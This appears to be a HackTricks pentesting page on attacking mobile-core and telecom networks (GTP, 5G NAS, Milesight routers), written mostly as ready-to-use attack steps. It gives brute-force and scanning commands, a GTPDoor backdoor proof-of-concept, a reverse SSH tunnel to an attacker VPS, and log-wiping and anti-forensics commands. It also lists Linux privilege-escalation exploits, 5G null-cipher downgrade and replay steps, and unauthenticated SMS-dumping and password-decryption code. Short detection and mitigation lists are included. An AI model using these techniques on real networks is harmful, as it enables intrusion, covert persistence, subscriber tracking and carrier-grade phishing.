{{#include ../../banners/hacktricks-training.md}}
Note
Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, any foothold inside a telecom perimeter can usually reach core signalling planes directly. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … A dedicated wordlist dramatically increases brute-force success:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txtIf the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
Most GRX operators still allow ICMP echo across the backbone. Combine masscan with the built-in gtpv1 UDP probes to quickly map GTP-C listeners:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55The following Go tool crafts GTP-C Create PDP Context Request packets and logs the responses. Each reply reveals the current SGSN / MME serving the queried IMSI and, sometimes, the subscriber’s visited PLMN.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcapKey flags:
--imsiTarget subscriber IMSI--operHome / HNI (MCC+MNC)-wWrite raw packets to pcap
Important constants inside the binary can be patched to widen scans:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
GTPDoor is a tiny ELF service that binds UDP 2123 and parses every incoming GTP-C packet. When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via /bin/sh -c. The stdout/stderr are exfiltrated inside Echo Response messages so that no outward session is ever created.
Minimal PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))Detection:
- any host sending unbalanced Echo Requests to SGSN IPs
- GTP version flag set to 1 while message type = 1 (Echo) – deviation from spec
OsmoGGSN ships an SGSN emulator able to establish a PDP context towards a real GGSN/PGW. Once negotiated, Linux receives a new tun0 interface reachable from the roaming peer.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxyWith proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the data plane.
DNS is almost always open in roaming infrastructures. Expose an internal SSH service to your VPS listening on :53 and return later from home:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.comCheck that GatewayPorts yes is enabled on the VPS.
| Channel | Transport | Decoding | Notes |
|---|---|---|---|
ICMP – EchoBackdoor |
ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
DNS – NoDepDNS |
UDP 53 | XOR (key = funnyAndHappy) encoded in A-record octets |
watches for *.nodep sub-domain |
GTP – GTPDoor |
UDP 2123 | AES-128-CBC blob in private IE | blends with legitimate GTP-C chatter |
All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.pyClean-up tip:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -ccordscan,GTPDoor,EchoBackdoor,NoDepDNS– custom tooling described in previous sections.FScan: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: lightweight SOCKS5 pivotingFRP(≥0.37) : NAT traversal / asset bridging
The 5G registration procedure runs over NAS (Non-Access Stratum) on top of NGAP. Until NAS security is activated by Security Mode Command/Complete, initial messages are unauthenticated and unencrypted. This pre-security window enables multiple attack paths when you can observe or tamper with N2 traffic (e.g., on-path inside the core, rogue gNB, or testbed).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Lab setup tips (non-RF):
- Core: Open5GS default deployment is sufficient to reproduce flows.
- UE: simulator or test UE; decode using Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.
How to test:
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
- Wireshark quick checks:
- It should decode as SUCI, not IMSI.
- Filter examples:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.sucishould exist; absence plus presence ofimsiindicates leakage.
What to collect:
- MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.
Mitigation:
- Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.
Background:
- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.
Issue:
- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.
Offensive steps:
- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
Verification/visibility:
- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigations (must):
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
Because initial NAS lacks integrity and freshness, captured InitialUEMessage+Registration Request can be replayed to AMF.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }Responses include fields such as timestamp, content, phone_number (E.164), and status (success or failed). Repeated failed sends to the same number are often attacker “capability checks” to validate that a router/SIM can deliver before blasting.
Example curl to exfiltrate SMS metadata:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'Notes on auth artifacts:
- Some traffic may include an auth cookie, but a large fraction of exposed devices respond without any authentication to
query_inbox/query_outboxwhen the management interface is Internet-facing. - In environments requiring auth, previously-leaked credentials (see below) restore access.
Credential recovery path – CVE-2023-43261:
- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Issue: web-served logs (e.g.,
httpd.log) are reachable unauthenticated under/lang/log/and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript. - Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}Minimal Python to decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())Hunting and detection ideas (network):
- Alert on unauthenticated
POST /cgiwhose JSON body containsbase/functionset toquery_inboxorquery_outbox. - Track repeated
POST /cgibursts followed bystatus":"failed"entries across many unique numbers from the same source IP (capability testing). - Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.
Shodan/OSINT pivots (examples seen in the wild):
http.html:"rt_title"matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.
- Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
- Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
- Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
- High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
- 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
- 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
{{#include ../../banners/hacktricks-training.md}}